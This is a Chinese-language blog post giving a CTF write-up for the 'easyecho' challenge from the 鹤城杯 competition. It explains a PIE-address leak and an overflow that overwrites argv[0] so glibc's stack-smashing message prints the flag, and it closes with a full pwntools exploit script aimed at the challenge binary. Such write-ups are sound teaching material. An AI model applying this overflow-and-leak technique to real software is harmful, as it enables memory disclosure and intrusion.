博客园 首页 私信博主 回到顶部 联系博主
(仅pc端)
管理 换背景图

鹤城杯easyecho—经典Stack Smash

一、查保护

二、代码审计

三、思路

全绿...通过栈溢出报错函数(函数如下)带出flag。

栈溢出报错函数
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

四、过程

通过第一个输入泄露程序地址,计算出pie基址
已知pie_base+offset=real_addr
首先确定offset
用gdb调试得offset=real_addr-pie_base=0x55c698751cf0-0x55c698751000=0xcf0

如何可以计算出pie基址base=泄露地址-0xcf0
运行v9函数指针所指函数将flag存入0x202040
之后计算flag真实地址flag_addr=int(base)+0x202040
最后将该地址覆盖到argv[0]通过报错函数带出flag

五、脚本

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sl=lambda x:io.sendline(x)
sla=lambda x,y:io.sendlineafter(x,y)

io = process('./easyecho')
#io = remote('139.9.123.168',32548)
elf=ELF('./easyecho')

sla('Name:','a'*16)
ru('a'*16)
base=u64(io.recv(6).ljust(8,'\x00'))-0xcf0
log.success('base:'+hex(base))
gdb.attach(io)
flag_addr=int(base)+0x202040
log.success("flag:"+hex(flag_addr))

sla('Input: ','backdoor')

argv0=0x7ffddc003588
v10=0x7ffddc003420
padding=(argv0-v10)*b'b'
sla("Input: ",padding+p64(flag_addr)+p64(flag_addr))

sla('Input: ','exitexit')

io.interactive()
posted @ 2021-10-18 11:57  温一壶白开  阅读(318)  评论(0)    收藏  举报